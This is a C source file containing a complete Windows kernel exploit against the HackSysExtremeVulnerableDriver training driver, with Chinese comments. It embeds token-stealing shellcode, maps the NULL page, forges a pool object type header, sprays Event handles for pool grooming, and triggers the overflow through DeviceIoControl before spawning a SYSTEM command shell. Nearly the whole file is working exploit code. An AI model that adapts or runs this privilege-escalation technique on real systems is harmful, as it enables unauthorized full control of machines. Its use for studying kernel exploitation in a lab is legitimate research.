1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
| #include<Windows.h>
#include<stdio.h>
typedef NTSTATUS(WINAPI * NtAllocateVirtualMemory_t) (HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);
char shellcode[] = {
"\x90\x90\x90\x90" // NOP Sled
"\x60" // pushad
"\x31\xc0" // xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax,[fs:eax+0x124]
"\x8b\x40\x50" // mov eax,[eax+0x50]
"\x89\xc1" // mov ecx,eax
"\xba\x04\x00\x00\x00" // mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" // mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp [eax+0xb4],edx
"\x75\xed" // jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" // mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov [ecx+0xf8],edx
"\x61" // popad
"\xC2\x10\x00" // ret 16
};
HANDLE OpenDriver() {
HANDLE hevd = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (hevd == INVALID_HANDLE_VALUE) {
wprintf(L"[-] Failed to open hevd\n");
exit(-1);
}
else {
wprintf(L"[+] Success to open hevd\n");
}
return hevd;
}
int main()
{
char *payload = (char *)malloc(0x1f8 + 40);
memset(payload, 'A', 0x1f8);
/*
kd> dd 8772cd08
8772cd08 04080008 ee657645 00000000 00000040
8772cd18 00000000 00000000 00000001 00000001
8772cd28 00000000 0008000c 87420a80 00000000
8772cd38 00040001 00000000 8772cd40 8772cd40
*/
// 伪造object type
char *temp = payload + 0x1f8;
*(PULONG)temp = (ULONG)0x04080040;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0xee657645;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000000;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000040;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000000;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000000;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000001;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000001;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00000000;
temp = (char *)((ULONG)temp + 0x4);
*(PULONG)temp = (ULONG)0x00080000;
// 写入shellcode到0地址
LPVOID ptr = VirtualAlloc(0, sizeof(shellcode), 0x3000, 0x40);
RtlCopyMemory(ptr, shellcode, sizeof(shellcode));
HMODULE hmodule = LoadLibraryA("ntdll.dll");
NtAllocateVirtualMemory_t NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hmodule, "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL) {
wprintf(L"getprocaddress failed\n");
return 0;
}
PVOID baseAddress = (PVOID)1;
ULONG regionsize = 0x100;
NTSTATUS status = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, &baseAddress, 0, ®ionsize, 0x3000, 0x40);
if (status != 0) {
wprintf(L"alloc failed,error code is:%u\n", status);
return 0;
}
// 0x60地址处写入shellcode 位置，0x60 = 0x28(TypeInfo在_object_type中的偏移) + 0x38(CloseProcedure在TypeInfo中的偏移)
if (!WriteProcessMemory((HANDLE)0xFFFFFFFF, (LPVOID)0x60, &ptr, 0x4, NULL)) {
wprintf(L"write failed\n");
return 0;
}
// 堆风水
int i = 0;
int j = 0;
HANDLE spray1[10000];
HANDLE spray2[5000];
for (i = 0; i < 10000; i++) {
spray1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
for (i = 0; i < 5000; i++) {
spray2[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
for (i = 0; i < (sizeof(spray2) / sizeof(HANDLE)); i = i + 16) {
for (j = 0; j < 8; j++) {
CloseHandle(spray2[i + j]);
}
}
// 触发shellcode
HANDLE hevd = OpenDriver();
DWORD lpBytesReturned = 0;
DeviceIoControl(hevd, 0x22200f, payload, 0x1f8 + 40, NULL, 0, &lpBytesReturned, NULL);
for (i = 8; i < (sizeof(spray2) / sizeof(HANDLE)); i = i + 16) {
for (j = 0; j < 8; j++) {
CloseHandle(spray2[i + j]);
}
}
for (i = 0; i < 10000; i++) {
CloseHandle(spray1[i]);
}
system("cmd.exe");
return 0;
}
|
